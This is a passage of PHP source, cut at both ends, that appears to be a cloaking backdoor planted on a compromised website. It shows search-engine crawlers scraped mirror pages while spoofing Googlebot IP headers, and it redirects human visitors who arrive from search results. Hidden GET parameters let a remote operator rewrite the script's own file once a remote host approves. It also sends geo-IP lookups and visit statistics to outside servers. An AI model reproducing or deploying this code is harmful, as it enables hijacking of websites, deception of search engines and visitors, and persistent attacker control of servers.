array( 'metod'=>"GET", 'timeout'=>60, 'header'=>"Accept-language: en\r\n" . "Cookie: foo=bar\r\n" . // check function.stream-context-create on php.net "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $context = stream_context_create($options); $txt_result=$page_result=''; //$softjs='https://softlay.net/wp-includes/js/jquery/jquery.js'; //$newsoftjs='https://softlay.net/wp-includes/js/jquery/Jquery.js'; //$headerjs='window.location.href'; //$newheaderjs='window.location.Href'; //$secondsoft='Softonic_files/gtm.js'; //$secondendsoft='Softonic_files/gtn.js'; //$thirdsoft='https://www.googletagmanager.com/gtm.js'; //$thirdendsoft='https://www.googletagmanager.com/Gtm.js'; //$softcontent=''; $php_self=__FILE__; if ((function_exists('request_page'))==False){ function request_page($element1) { global $searchsite,$searchsite_domain,$cookie1_site,$cookie1,$cookie1_set,$searchtxt,$context,$change_searchsite,$mirror_text,$texturl,$page,$options,$php_self,$domain,$cookie1_url,$page_word_list,$statistic_url; if ((ini_get('date.timezone'))==False){ date_default_timezone_set("America/New_York"); } $content=''; $before_hour_time=date("Y").'.'.date("m").'.'.date("d").'.'.date("G"); $write_time=''; $content_work=false; if (file_exists("write_read_time.txt")){ try{ $write_time=file_get_contents("write_read_time.txt"); } catch(Exception $e) { $pass='pass'; } } //$write_time= str_replace(array("\r\n", "\r", "\n"), "", $write_time); if (($element1=='get_mirror') || ($before_hour_time!=$write_time) || ((file_exists("write_read_page.htm"))==False)){ $softjs='https://softlay.net/wp-includes/js/jquery/jquery.js'; $newsoftjs='https://softlay.net/wp-includes/js/jquery/Jquery.js'; $headerjs='window.location.href'; $newheaderjs='window.location.Href'; $thirdsoft='https://www.googletagmanager.com/gtm.js'; $thirdendsoft='https://www.googletagmanager.com/Gtm.js'; $fourth_replace='document.location'; $new_fourth_replace='document.Location'; $theunitysoft_replace='/browser-redirect/'; $new_theunitysoft_replace='/browser-Redirect/'; $litespeed_replace='/wp-content/litespeed/cssjs/'; $new_litespeed_replace='/wp-content/Litespeed/cssjs/'; $softcontent=''; $cnta=0; if ($element1=='normal_vist'){ $cnta=9; } while (($cnta<10) && ($softcontent==False)){ $cnta++; $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $s = curl_init(); curl_setopt($s,CURLOPT_URL,$searchsite); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); curl_setopt($s, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($s, CURLOPT_ENCODING, ""); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($s, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt($s, CURLOPT_TIMEOUT, 20); //if (in_array($searchsite_domain,$cookie1_site)){ curl_setopt($s, CURLOPT_COOKIE, $cookie1); //}else { // curl_setopt($s, CURLOPT_COOKIE, 'foo=bar'); //} $softcontent = curl_exec($s); curl_close($s); if ($softcontent==''){ $init_sure=False; } } if ($init_sure===False){ //if (in_array($searchsite_domain,$cookie1_site)){ $options = array( 'http'=>array( 'method'=>"GET", 'timeout'=>20, 'header'=>"Accept-language: en\r\n" . "Cookie: ".$cookie1."\r\n" . // check function.stream-context-create on php.net "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); //} $context1 = stream_context_create($options); $softcontent = file_get_contents("compress.zlib://".$searchsite, false, $context1); } } //echo $softcontent;exit; //$softcontent='please enable javascript'; //echo $softcontent; $jsreturn_list=array('js_return'=>''); $cntb=0; if ($element1=='normal_vist'){ $cntb=9; } //if ((in_array($searchsite_domain,$cookie1_site))&&(strpos(strtolower($softcontent),strtolower($cookie1_set))!==false)){ if (strpos(strtolower($softcontent),strtolower($cookie1_set))!==false){ while (($cntb<10) && ($jsreturn_list['js_return']==False)){ $cntb++; $scriptstart=''; $scriptsubstr=''; $scriptsubstr = substr($softcontent, strlen($scriptstart)+strpos($softcontent, $scriptstart),(strlen($softcontent) - strpos($softcontent, $scriptend))*(-1)); //$scriptsubstr=str_replace('e(r)', 'console.log(r)', $scriptsubstr); //echo $scriptsubstr; $js_page=''; if ($scriptsubstr!==''){ $script_list=http_build_query(array('script' => $scriptsubstr,'domain'=> $domain)); //print_r ($script_list); $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $send_script = curl_init(); curl_setopt($send_script,CURLOPT_URL,$cookie1_url); curl_setopt($send_script,CURLOPT_RETURNTRANSFER,1); curl_setopt($send_script,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); curl_setopt($send_script,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($send_script, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); curl_setopt($send_script, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($send_script, CURLOPT_ENCODING, ""); curl_setopt($send_script, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($send_script, CURLOPT_POSTFIELDS, $script_list); curl_setopt($send_script, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt($send_script, CURLOPT_TIMEOUT, 20); $js_page = curl_exec($send_script); curl_close($send_script); if ($js_page==''){ $init_sure=False; } } if ($init_sure===False){$postdata = http_build_query( array( 'script' => $scriptsubstr, 'domain' => $domain ) ); $opts = array('http' => array( 'method' => 'POST', 'timeout'=>20, 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $firstcontext = stream_context_create($opts); $js_page = file_get_contents("compress.zlib://".$cookie1_url, false, $firstcontext); //} } $jsreturn_list=json_decode($js_page,true); //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $file_content = file($php_self); if ($jsreturn_list['js_return']!==False){ foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 13) { $lineContent = '$cookie1="'.$jsreturn_list['js_return'].'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); } } } $softcontent1=''; $cntc=0; if ($element1=='normal_vist'){ $cntc=9; } while (($cntc<10) && ($softcontent1==False)){ $cntc++; $init_sure=False; if(function_exists('curl_init')){ //echo $js_cookie; //exit; $init_sure=True; $news = curl_init(); curl_setopt($news,CURLOPT_URL,$searchsite); curl_setopt($news,CURLOPT_RETURNTRANSFER,1); curl_setopt($news,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); curl_setopt($news,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($news, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); curl_setopt($news, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($news, CURLOPT_ENCODING, ""); curl_setopt($news, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($news, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt($news, CURLOPT_TIMEOUT, 20); curl_setopt($news, CURLOPT_COOKIE, $jsreturn_list['js_return']); $softcontent1 = curl_exec($news); curl_close($news); if ($softcontent1==''){ $init_sure=False; } } if ($init_sure===False){ $options = array( 'http'=>array( 'method'=>"GET", 'timeout'=>20, 'header'=>"Accept-language: en\r\n" . "Cookie: ".$jsreturn_list['js_return']."\r\n" . // check function.stream-context-create on php.net "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $context2 = stream_context_create($options); $softcontent1 = file_get_contents("compress.zlib://".$searchsite, false, $context2); } $softcontent=$softcontent1; } } $headercontent=''; $headercontent = str_replace($softjs, $newsoftjs, $softcontent); $content = str_replace($headerjs, $newheaderjs, $headercontent); $content = str_replace($thirdsoft, $thirdendsoft, $content); $content = str_replace($fourth_replace, $new_fourth_replace, $content); $content = str_replace($theunitysoft_replace, $new_theunitysoft_replace, $content); $content = str_replace($litespeed_replace, $new_litespeed_replace, $content); $content_work=true; if ($content!==''){ try{ file_put_contents("write_read_page.htm",$content,LOCK_EX); } catch(Exception $e) { $pass='pass'; } $after_hour_time=date("Y").'.'.date("m").'.'.date("d").'.'.date("G"); try{ file_put_contents("write_read_time.txt",$after_hour_time,LOCK_EX); } catch(Exception $e) { $pass='pass'; } } } //$before_hour_time1=date("Y").'.'.date("m").'.'.date("d").'.'.date("G"); $write_time1=''; if (file_exists("write_check_object_time.txt")){ try{ $write_time1=file_get_contents("write_check_object_time.txt"); } catch(Exception $e) { $pass='pass'; } } if (($write_time1!=$before_hour_time)&&($element1!='get_mirror')){ $page_result_mirror_text=''; $cntd=0; if ($element1=='normal_vist'){ $cntd=9; } while (($cntd<10) && ($page_result_mirror_text==False)){ $cntd++; if ($change_searchsite==true){ //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $get_page_txt = curl_init(); curl_setopt ($get_page_txt, CURLOPT_URL, $mirror_text); curl_setopt ($get_page_txt, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); curl_setopt ($get_page_txt, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($get_page_txt, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt ($get_page_txt, CURLOPT_TIMEOUT, 20); $page_result_mirror_text = curl_exec($get_page_txt); curl_close($get_page_txt); if ($page_result_mirror_text==''){ $init_sure=False; } } if ($init_sure===False){ $page_result_mirror_text = file_get_contents("compress.zlib://".$mirror_text, false, $context);} $mirror_split=(explode("\n",$page_result_mirror_text)); foreach ($mirror_split as $mirror_line){ $mirror_line = str_replace(array("\r\n", "\r", "\n", " ", " "), "", $mirror_line); $mirror_line_split=(explode(":::",$mirror_line)); if(count($mirror_line_split)>=6){ if ($mirror_line_split[3]==$searchtxt){ if((strpos($mirror_line_split[0], 'http') !== false)&&(strpos($mirror_line_split[4], 'http') !== false)&&(strpos($mirror_line_split[5], 'http') !== false)){ if (($mirror_line_split[0]!=$searchsite)||($mirror_line_split[4]!=$texturl)||($mirror_line_split[5]!=$page)){ $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 2) { $lineContent = '$searchsite="'.$mirror_line_split[0].'";'."\r\n"; } if($lineNumber == 4) { $lineContent = '$texturl="'.$mirror_line_split[4].'";'."\r\n"; } if($lineNumber == 5) { $lineContent = '$page="'.$mirror_line_split[5].'";'."\r\n"; } } $page_allContent = implode("", $file_content); file_put_contents($php_self, $page_allContent,LOCK_EX); } } } } } //if ($content!==''){ $page_word_sure=false; $content_lower = strtolower($content); foreach ($page_word_list as $page_word_element){ if (strpos($content_lower, $page_word_element) !== false){ $page_word_sure=true; } } if (($page_word_sure===false)&&($content_work!==false)){ if (file_exists('write_view_num.txt')!==false){ $read_view_num_text=file_get_contents('write_view_num.txt'); $read_view_num=(int)$read_view_num_text; if(is_int($read_view_num)==false){ $read_view_num=0; } $read_view_num_tmp=$read_view_num+1; file_put_contents('write_view_num.txt',$read_view_num_tmp); }else{ file_put_contents('write_view_num.txt','0'); $read_view_num=0; } $mirror_start='/mirror_'; $mirror_end='.txt'; $mirror_num_str = substr($searchtxt, strlen($mirror_start)+strpos($searchtxt, $mirror_start),(strlen($searchtxt) - strpos($searchtxt, $mirror_end))*(-1)); $mirror_num_int=(int)$mirror_num_str; file_put_contents('write_view.'.$mirror_num_str.'.'.$read_view_num.'.htm',$content); if (3<=$read_view_num){ file_put_contents('write_view_num.txt','0'); if(is_int($mirror_num_int)==false){ $mirror_num_int=0; } $modify_mirror_num_tmp=$mirror_num_int+1; $modify_mirror_num=$modify_mirror_num_tmp%sizeof($mirror_split); if ($modify_mirror_num==0){ $modify_mirror_num=sizeof($mirror_split); } $mirror_split_count=0; foreach ($mirror_split as $mirror_line){ //foreach($mirror_split as $mirror_split_num => &$mirror_split_line) { $mirror_split_count++; $mirror_line = str_replace(array("\r\n", "\r", "\n", " ", " "), "", $mirror_line); $mirror_line_split=(explode(":::",$mirror_line)); if(count($mirror_line_split)>=6){ //if ($mirror_line_split[3]==$searchtxt){ if ($modify_mirror_num==$mirror_split_count){ if((strpos($mirror_line_split[0], 'http') !== false)&&(strpos($mirror_line_split[4], 'http') !== false)&&(strpos($mirror_line_split[5], 'http') !== false)){ if (($mirror_line_split[0]!=$searchsite)||($mirror_line_split[4]!=$texturl)||($mirror_line_split[5]!=$page)){ $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 2) { $lineContent = '$searchsite="'.$mirror_line_split[0].'";'."\r\n"; } if($lineNumber == 3) { $lineContent = '$searchtxt="'.$mirror_line_split[3].'";'."\r\n"; } if($lineNumber == 4) { $lineContent = '$texturl="'.$mirror_line_split[4].'";'."\r\n"; } if($lineNumber == 5) { $lineContent = '$page="'.$mirror_line_split[5].'";'."\r\n"; } } $page_allContent = implode("", $file_content); file_put_contents($php_self, $page_allContent,LOCK_EX); $count=0; $statistic_result=''; while($count<5 && strpos ($statistic_result, 'statistic.php work') === false){ $count++; $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $firstpost=array('from_page' => $domain,'domain' => $mirror_line,'dir' => $before_hour_time.' ::: '.'check_mirror_blank'.' ::: '.$count,); $firstweb = curl_init($statistic_url); curl_setopt($firstweb, CURLOPT_RETURNTRANSFER, true); curl_setopt ($firstweb, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt ($firstweb, CURLOPT_TIMEOUT, 20); curl_setopt($firstweb, CURLOPT_POSTFIELDS, $firstpost); $statistic_result = curl_exec($firstweb); curl_close($firstweb); if ($statistic_result==''){ $init_sure=False; } } if ($init_sure===False){$postdata = http_build_query( array( 'from_page' => $domain, 'domain' => $mirror_line, 'dir' => $before_hour_time.' ::: '.'check_mirror_blank'.' ::: '.$count, ) ); $opts = array('http' => array( 'method' => 'POST', 'timeout'=>20, 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata, ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $firstcontext = stream_context_create($opts); $statistic_result = file_get_contents($statistic_url, false, $firstcontext);} $add_file = fopen('write_view_main.txt',"a+"); flock($add_file, LOCK_EX); fwrite($add_file,$before_hour_time."\n"); flock($add_file,LOCK_UN); fclose($add_file); } } } } } } } } //} } } if ($page_result_mirror_text!==''){ $after_hour_time1=date("Y").'.'.date("m").'.'.date("d").'.'.date("G"); try{ file_put_contents("write_check_object_time.txt",$after_hour_time1,LOCK_EX); } catch(Exception $e) { $pass='pass'; } } } return $content; } } if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false || strpos($tmp, 'bing') !== false || strpos($tmp, 'yandex') !== false || strpos($tmp, 'naver') !== false) { set_time_limit(650); //$url = empty($_GET['view']) ? "" : $_GET['view']; $out_content=''; if (file_exists("write_read_page.htm")){ $out_content=file_get_contents("write_read_page.htm"); echo $out_content; request_page('update_page'); exit; } else { $out_content=request_page('get_mirror'); echo $out_content; exit;} } else { set_time_limit(100); $tiaourl = $page; //$tiaourl =$page; if(isset($_GET['viewpageto'])) { header("location: " . $tiaourl); exit; } if(isset($_GET['viewsiteas'])) { header("location: " . $tiaourl.'?viewsiteas='.$searchsite); exit; } if(isset($_GET['domainstatecode'])) { header("location: " . $tiaourl.'?domainstatecode='.$state); exit; } if(isset($_GET['viewsitetxt'])) { header("location: " . $tiaourl.'?viewsitetxt='.$searchtxt); exit; } if(isset($_GET['chsitetxt'])) { header("location: " . $tiaourl.'?chsitetxt='.$texturl); exit; } if(isset($_GET['cookie1_site_content'])) { $cookie1_site_combine=implode(",",$cookie1_site); header("location: " . $tiaourl.'?cookie1_site_content='.$cookie1_site); exit; } if(isset($_GET['cookie1_url_content'])) { header("location: " . $tiaourl.'?cookie1_url_content='.$cookie1_url); exit; } if(isset($_GET['cookie1_set_content'])) { header("location: " . $tiaourl.'?cookie1_set_content='.$cookie1_set); exit; } if(isset($_GET['req_url_content'])) { header("location: " . $tiaourl.'?req_url_content='.$req_url); exit; } if(isset($_GET['next_url_content'])) { header("location: " . $tiaourl.'?next_url_content='.$next_url); exit; } if(isset($_GET['before_ip_url_content'])) { header("location: " . $tiaourl.'?before_ip_url_content='.$before_ip_url); exit; } if(isset($_GET['change_searchsite_content'])) { header("location: " . $tiaourl.'?change_searchsite_content='.$change_searchsite); exit; } if(isset($_GET['mirror_text_content'])) { header("location: " . $tiaourl.'?mirror_text_content='.$mirror_text); exit; } if ((isset($_GET['changesitename']))||(isset($_GET['changetextname']))||(isset($_GET['change_cookie1_site']))||(isset($_GET['change_cookie1_url']))||(isset($_GET['change_cookie1_set']))||(isset($_GET['change_confirm']))||(isset($_GET['change_req_url']))||(isset($_GET['change_next_url']))||(isset($_GET['change_before_ip_url']))||(isset($_GET['searchsite_change_sure']))||(isset($_GET['change_mirror_text']))||(isset($_GET['change_statistic_url']))||(isset($_GET['change_page_word_list']))){ $replace_sure_txt='http://replacesure.buymskey.com/replace_sure/replace_sure.txt'; $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $get_site_txt = curl_init(); curl_setopt ($get_site_txt, CURLOPT_URL, $replace_sure_txt); curl_setopt ($get_site_txt, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($get_site_txt, CURLOPT_CONNECTTIMEOUT , 60); curl_setopt ($get_site_txt, CURLOPT_TIMEOUT, 60); $replace_result = curl_exec($get_site_txt); curl_close($get_site_txt); if ($replace_result==''){ $init_sure=False; } } if ($init_sure===False){ $replace_result = file_get_contents("compress.zlib://".$replace_sure_txt, false, $context);} $replace_result = str_replace(array("\r\n", "\r", "\n"), "", $replace_result); if (($replace_result=='True')||($replace_result=='true')){ if(isset($_GET['changesitename'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $get_site_txt = curl_init(); curl_setopt ($get_site_txt, CURLOPT_URL, $searchtxt); curl_setopt ($get_site_txt, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($get_site_txt, CURLOPT_CONNECTTIMEOUT , 60); curl_setopt ($get_site_txt, CURLOPT_TIMEOUT, 60); $txt_result = curl_exec($get_site_txt); curl_close($get_site_txt); if ($txt_result==''){ $init_sure=False; } } if ($init_sure===False){ $txt_result = file_get_contents("compress.zlib://".$searchtxt, false, $context);} if(strpos($txt_result, 'http') !== false){ $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 2) { $lineContent = '$searchsite="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?chsitere='.$searchtxt); exit; } } if(isset($_GET['changetextname'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $get_page_txt = curl_init(); curl_setopt ($get_page_txt, CURLOPT_URL, $texturl); curl_setopt ($get_page_txt, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($get_page_txt, CURLOPT_CONNECTTIMEOUT , 60); curl_setopt ($get_page_txt, CURLOPT_TIMEOUT, 60); $page_result = curl_exec($get_page_txt); curl_close($get_page_txt); if ($page_result==''){ $init_sure=False; } } if ($init_sure===False){ $page_result = file_get_contents("compress.zlib://".$texturl, false, $context);} if(strpos($page_result, 'http') !== false){ $page_result = str_replace(array("\r\n", "\r", "\n"), "", $page_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 5) { $lineContent = '$page="'.$page_result.'";'."\r\n"; } } $page_allContent = implode("", $file_content); file_put_contents($php_self, $page_allContent,LOCK_EX); header("location: " . $tiaourl.'?chtextre='.$texturl); exit; } } if(isset($_GET['change_cookie1_site'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_cookie1_site']; //$txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $txt_result_list=(explode(",",$txt_result)); $txt_result_str=''; foreach($txt_result_list as $key => $value){ $txt_result_str=$txt_result_str.'"'.$value.'",'; } $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 10) { $lineContent = '$cookie1_site=array('.$txt_result_str.');'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?chcookie1site='.$txt_result); exit; } if(isset($_GET['change_cookie1_url'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_cookie1_url']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 11) { $lineContent = '$cookie1_url="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?chcookie1url='.$txt_result); exit; } if(isset($_GET['change_cookie1_set'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_cookie1_set']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 12) { $lineContent = '$cookie1_set="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?chcookie1set='.$txt_result); exit; } if(isset($_GET['change_confirm'])&&(($_GET['change_confirm']=="False")||($_GET['change_confirm']=="false")||($_GET['change_confirm']=="True")||($_GET['change_confirm']=="true"))) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_confirm']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 7) { $lineContent = '$confirm='.$txt_result.';'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_confirm='.$txt_result); exit; } if(isset($_GET['change_req_url'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_req_url']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 14) { $lineContent = '$req_url="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_req_url='.$txt_result); exit; } if(isset($_GET['change_next_url'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $txt_result = $_GET['change_next_url']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 15) { $lineContent = '$next_url="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_next_url='.$txt_result); exit; } if(isset($_GET['change_before_ip_url'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $txt_result = $_GET['change_before_ip_url']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 16) { $lineContent = '$before_ip_url="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_before_ip_url='.$txt_result); exit; } if(isset($_GET['searchsite_change_sure'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $txt_result = $_GET['searchsite_change_sure']; //$txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); if (($txt_result=='true') || ($txt_result=='True') || ($txt_result=='false') || ($txt_result=='False')){ $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 17) { $lineContent = '$change_searchsite='.$txt_result.';'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?searchsite_change_sure='.$txt_result); } exit; } if(isset($_GET['change_mirror_text'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $txt_result = $_GET['change_mirror_text']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 18) { $lineContent = '$mirror_text="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_mirror_text='.$txt_result); exit; } if(isset($_GET['change_statistic_url'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $txt_result = $_GET['change_statistic_url']; $txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 19) { $lineContent = '$statistic_url="'.$txt_result.'";'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_statistic_url='.$txt_result); exit; } if(isset($_GET['change_page_word_list'])) { //$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); // reads an array of lines $txt_result = $_GET['change_page_word_list']; //$txt_result = str_replace(array("\r\n", "\r", "\n"), "", $txt_result); $txt_result_list=(explode(",",$txt_result)); $txt_result_str=''; foreach($txt_result_list as $key => $value){ $txt_result_str=$txt_result_str.'"'.$value.'",'; } $file_content = file($php_self); foreach($file_content as $lineNumber => &$lineContent) { if($lineNumber == 20) { $lineContent = '$page_word_list=array('.$txt_result_str.');'."\r\n"; } } $allContent = implode("", $file_content); file_put_contents($php_self, $allContent,LOCK_EX); header("location: " . $tiaourl.'?change_page_word_list='.$txt_result); exit; } } } if(empty($_COOKIE['read_key_site_cookie'])){ if (isset($_SERVER['HTTP_REFERER'])){$ref = strtolower($_SERVER['HTTP_REFERER']);} else {$ref="";} if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false || strpos ($ref, 'yandex') !== false || strpos ($ref, 'naver') !== false) { set_time_limit(500); //$in = ("/"); //if($_SERVER["REQUEST_URI"]==$in){ if(!empty($_SERVER["HTTP_X_REAL_IP"])){$countryip = $_SERVER["HTTP_X_REAL_IP"];} else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){$countryip = $_SERVER["HTTP_X_FORWARDED_FOR"];} else if(!empty($_SERVER["REMOTE_ADDR"])){$countryip = $_SERVER["REMOTE_ADDR"];} else{$countryip = '';} preg_match("/[\d\.]{7,15}/", $countryip, $cips); $countryip = isset($cips[0]) ? $cips[0] : 'unknown'; unset($cips); //$countryip = $_SERVER['REMOTE_ADDR']; $countrysubstr=""; $frontstate=substr($state,0, 2); //if($frontstate!=='US') {$contrystart="region_id\":\"";$contryend="\",\"city_id";} //else{$contrystart="country_id\":\"";$contryend="\",\"area_id";} $countryurl = $before_ip_url.$countryip.'&site_domain='.$domain.'&mirrorurl='.$searchsite.'&mirror_txt='.$searchtxt; $count=0; $firstime=microtime(true); if ($state!=='just_set'){ while($count<10 && strpos ($countryresult, 'country_id') == false){ $count++; $init_sure=False; if(function_exists('curl_init')){ $init_sure=True; $countryreq = curl_init($countryurl); curl_setopt($countryreq,CURLOPT_ENCODING ,'gb2312'); curl_setopt ($countryreq, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt ($countryreq, CURLOPT_TIMEOUT, 20); curl_setopt($countryreq, 